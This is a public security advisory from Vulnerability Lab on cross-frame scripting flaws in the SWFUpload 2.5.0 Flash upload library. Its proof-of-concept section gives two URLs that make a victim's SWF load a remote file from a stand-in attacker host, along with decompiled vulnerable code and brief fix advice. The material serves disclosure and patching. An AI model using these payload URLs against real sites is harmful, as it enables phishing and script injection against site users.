SWFupload 2.5.0 - Cross Frame Scripting (XFS) Vulnerability

[Vulnerability Lab <research () vulnerability-lab com>]

Document Title:
===============
SWFupload 2.5.0 - Cross Frame Scripting (XFS) Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1422


Release Date:
=============
2015-01-25


Vulnerability Laboratory ID (VL-ID):
====================================
1422


Common Vulnerability Scoring System:
====================================
2.3


Product & Service Introduction:
===============================
SWFUpload is a JavaScript Library that wraps the Flash Player`s upload function. It brings your uploads to the next 
level with Multiple File Selection, 
Upload Progress and Client-side File Size Checking. Unlike other Flash upload tools, SWFUpload leaves the UI in the 
developer`s hands. Using a set of 
event handlers developers can display upload progress and status to the user in their own HTML/CSS UI. SWFUpload has 
been featured in such 
projects as YouTube and WordPress.

(Copy of the Vendor Homepage: http://sourceforge.net/projects/swfupload.mirror/ )


Abstract Advisory Information:
==============================
An indepnedent Vulnerability Laboratory Researcher discovered multiple client-side cross frame scripting vulnerability 
in the official SWFupload v2.5.0 script.


Vulnerability Disclosure Timeline:
==================================
2015-01-25:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Unpublished


Affected Product(s):
====================
SF-Editor
Product: SWFUpload - JavaScript & Flash Upload Library 2.5.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple Cross Frame Scripting Vulnerabilities has been discovered in the official SWFupload v2.5.0 script.

The cross frame scripting vulnerability occurs when a SWF file has the permission or is able able to load 
another file as source of another directory/site.The vulnerable swf file can be exploited by remote attackers 
without privileged application user account and low or medium user interaction. As you can see the .buttonTextStyle 
variable (view: proof of concept) is not well configured (adding the value) and the ButtonTextStyle will accept 
any value. The vulneralbe SWF will loads any file that is getting attached to the parameter by default configuration. 
Remote attackers are able to exploit the issue with medium or high user interaction.

The security risk of the client-side cross frame scripting web vulnerability is estimated as medium with a cvss 
(common vulnerability scoring system) count of 2.3. Exploitation of the client-side remote vulnerability requires 
medium 
or high user interaction and no privileged application user account. Successful exploitation results in client-side 
phishing, 
client-side external redirects and non-persistent manipulation of affected- or connected module context.

Vulnerable Service(s):
                          [+] GET

Vulnerable File(s):
                          [+] buttontextstyle.swf
                          [+] swfupload.swf

Vulnerable Parameter(s):
                          [+] buttonTextStyle


Proof of Concept (PoC):
=======================
1.1
The client-side XFS vulnerability can be exploited by remote attackers without privileged application user account and 
with medium or high user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below 
to continue.

PoC: http://victim.com/buttontextstyle.swf?buttonTextStyle=http://attack.com/Exploiting.swf[CLIENT-SIDE SCRIPT CODE 
EXECUTION!]

Vulnerable Code :
ExternalInterface.addCallback("SetButtonTextStyle",this.SetButtonTextStyle);

  this.SetButtonTextStyle(String(root.loaderInfo.parameters.buttonTextStyle));
         }
         catch(ex:Object)
         {
            this.SetButtonTextStyle("");
         }
         try
         {



1.2
The client-side XFS vulnerability can be exploited by remote attackers without privileged application user account and 
with medium or high user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below 
to continue.


PoC: http://victim.com/swfupload.swf?buttonTextStyle=http://attack.com/Exploiting.swf[CLIENT-SIDE SCRIPT CODE 
EXECUTION!]

ExternalInterface.addCallback("SetButtonText",this.SetButtonText);
SetButtonText

{
            this.SetButtonText(String(root.loaderInfo.parameters.buttonText));
         }
         catch(ex:Object)
         {
            this.SetButtonText("");
         }
         try
         {


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable `buttonTextStyle` value in the 
buttontextstyle.swf and swfupload.swf files.
Restrict the input to the vulnerable values and disallow special chars. Filter with an own exception-ahndling to 
prevent execution of client-side injected script codes.


Security Risk:
==============
The security risk of the client-side web vulnerability is estimated as medium.


Credits & Authors:
==================
MindCracker - Team MaDLeeTs (MindCrackerKhan () gmail com - Maddy () live com pk | https://twitter.com/MindCrackerKhan)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or 
its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special 
damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or 
limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody 
to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                      - 
www.evolution-sec.com
Contact:    admin () vulnerability-lab com      - research () vulnerability-lab com                     - admin () 
evolution-sec com
Section:    magazine.vulnerability-db.com       - vulnerability-lab.com/contact.php                     - 
evolution-sec.com/contact
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                         - 
youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php            - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php - 
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability 
Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit 
our material contact 
(admin () vulnerability-lab com or research () vulnerability-lab com) to get a permission.

                                Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research () vulnerability-lab com
PGP KEY: http://www.vulnerability-lab.com/keys/admin () vulnerability-lab com%280x198E9928%29.txt



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/